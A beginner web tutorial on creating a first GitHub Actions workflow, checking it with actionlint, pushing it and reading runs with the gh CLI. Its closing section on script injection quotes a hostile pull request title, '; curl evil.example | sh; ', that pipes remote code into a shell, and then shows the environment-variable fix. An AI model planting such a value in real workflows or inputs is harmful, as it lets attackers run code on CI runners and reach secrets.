Skip to main content

CI/CD and automation · Beginner · 11 min

How to Create Your First GitHub Actions Workflow

By Padding · Updated 15 Nov 2026
GitHub Actions

You will write a workflow file that runs on every push and every pull request, check its syntax on your own computer with actionlint, push it, and read the run on GitHub.

On this page

GitHub Actions runs commands for you on GitHub's computers when something happens in your repository: a push, a pull request, a schedule, a click on a button. You describe what to run in a YAML file kept in the repository, so the automation is versioned and reviewed like the rest of your code.

In this tutorial you will write the smallest useful workflow, check it for mistakes before pushing, and learn to read the result. The next tutorial, /tutorials/run-node-tests-in-github-actions, uses this skeleton to run real tests.

Step 1 · Create the workflow file

GitHub looks for workflows in .github/workflows/ at the root of the repository. Each .yml or .yaml file there is one workflow. Clone your repository (or make a new folder), and create the file:

Bash
mkdir hello-actions
cd hello-actions
git init -b main
mkdir -p .github/workflows
cat > .github/workflows/hello.yml <<'YAML'
name: Hello

on:
  push:
    branches: [main]
  pull_request:
  workflow_dispatch:

permissions:
  contents: read

jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - name: Check out the code
        uses: actions/checkout@v7

      - name: Say hello
        env:
          GREETING: Hello from GitHub Actions
        run: |
          echo "$GREETING"
          echo "Commit: $GITHUB_SHA"
          echo "Branch: $GITHUB_REF_NAME"

      - name: List the repository
        run: ls -la
YAML

Read it from the top:

  • name is the label shown on GitHub.
  • on lists the events that start the workflow. push with branches: [main] runs on pushes to main. pull_request runs when a pull request is opened or updated. workflow_dispatch adds a manual "Run workflow" button.
  • permissions: contents: read limits the temporary token each run gets. Workflows that do not need to write to the repository should say so. Without this line, the token's default rights depend on a setting in the repository or organisation.
  • jobs holds one or more jobs. Each job runs on a fresh virtual machine named by runs-on. ubuntu-latest is a label GitHub maps to a current Ubuntu image; the exact version behind it changes over time, so use a fixed label such as ubuntu-24.04 if you need to know.
  • steps run in order. A step with uses runs a packaged action, and a step with run runs shell commands. actions/checkout@v7 copies your repository into the machine. A job's machine starts empty, so without it ls would show nothing of yours. v7 is the current major version of that action at the time of writing; its releases page is github.com/actions/checkout/releases.
  • env sets environment variables for one step, and GITHUB_SHA and GITHUB_REF_NAME are provided by GitHub in every run.

YAML is strict about indentation, which is two spaces per level here. A tab character is an error.

Step 2 · Check the file before you push

Pushing to find a typo costs a round trip each time. actionlint is a free checker for workflow files. It catches YAML mistakes, unknown keys, bad expressions and shell problems in run blocks. Download a release for your system from github.com/rhysd/actionlint/releases. On Linux with an x86-64 processor, for version 1.7.12:

Bash
curl -fsSL https://github.com/rhysd/actionlint/releases/download/v1.7.12/actionlint_1.7.12_linux_amd64.tar.gz | tar -xz actionlint
./actionlint -version
sudo install -m 0755 actionlint /usr/local/bin/
rm actionlint

Use linux_arm64, darwin_arm64 or darwin_amd64 for other systems. A binary you download by hand gets no package-manager updates. To upgrade, download a newer release from the releases page in the same way and install it over the old file. Run it in the repository folder, where it finds the workflows by itself:

Bash
actionlint
echo "actionlint exit code: $?"

When the file is correct, actionlint prints nothing and the exit code is 0. Introduce a mistake on purpose to see what a failure looks like. This writes a second workflow with a misspelled key and then removes it:

Bash
cat > .github/workflows/broken.yml <<'YAML'
name: Broken
on: push
jobs:
  oops:
    runs-on: ubuntu-latest
    step:
      - run: echo hi
YAML
actionlint || echo "actionlint found problems, as expected"
rm .github/workflows/broken.yml

The output points at the file, line and column, and says that step is an unexpected key and that the steps section is missing. Reading these messages is quicker than reading a failed run.

Step 3 · Push and watch the run

Commit the workflow. Git needs a name and email to record the commit; if you have not set them yet, run git config --global user.name "Your Name" and git config --global user.email "you@example.com" first.

Bash
git add .github/workflows/hello.yml
git commit -m "Add hello workflow"

Then push. Replace the URL with your own repository, and note that the branch name must match main in the on: section:

Bash
git remote add origin git@github.com:YOUR-USER/YOUR-REPO.git
git push -u origin main

On GitHub, open the repository and choose the Actions tab, something like the tab bar under the repository name. The workflow Hello is listed with a run for your commit: yellow while it runs, then a green tick or a red cross. Select the run, then the job, to see each step's output. With the GitHub CLI, the same information is in the terminal:

Bash
gh run list --workflow hello.yml
gh run watch
gh run view --log

gh run list shows recent runs, gh run watch follows the current one until it ends, and gh run view --log prints the full log of a run.

Check it worked

The run is green and the Say hello step prints Hello from GitHub Actions, the commit hash and main. The List the repository step shows the checked-out files, including .github. Start it again by hand to see the third trigger:

Bash
gh workflow run hello.yml

Troubleshooting

  • The Actions tab shows no run: the file is not in .github/workflows/ at the repository root, the extension is not .yml or .yaml, or you pushed a branch that the on.push.branches filter does not list.
  • The run fails at once with Invalid workflow file: the message names the line. Run actionlint locally to see it with context.
  • gh workflow run says could not find any workflows named hello.yml, or the manual button is missing: the workflow file must exist on the repository's default branch for workflow_dispatch to appear.
  • A step fails with Process completed with exit code 1: the real error is in the lines above it in the step's log. Fix the command and push again; there is no need to re-run by hand.

Step 4 · Keep untrusted text out of shell commands

One habit is worth forming on day one. GitHub fills in ${{ ... }} expressions before the shell sees the script. If you write run: echo "${{ github.event.pull_request.title }}", then a pull request titled "; curl evil.example | sh; " becomes part of your script. This is called script injection.

Pass the value through an environment variable instead, so the shell treats it as plain text:

YAML
      - name: Print the pull request title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: echo "$TITLE"

The same applies to branch names, commit messages and issue titles: anyone can choose those. Secrets follow the same rule and have their own tutorial, so read the next one before you use them: never write a secret into the workflow file. Add it as an encrypted secret in the repository settings and read it with ${{ secrets.NAME }}.

Next steps

  • Run a Node.js test suite on every push: /tutorials/run-node-tests-in-github-actions.
  • Deploy to your own server from a workflow: /tutorials/deploy-to-a-server-over-ssh-with-github-actions.
  • Keep credentials out of your repository: /tutorials/keep-secrets-out-of-git.
  • The workflow syntax reference is at docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax.

Need this done for you?

Padding does this work for growing companies, from the first diagnosis to a system that keeps working.

Platform Engineering

Get new tutorials

New tutorials, about twice a month.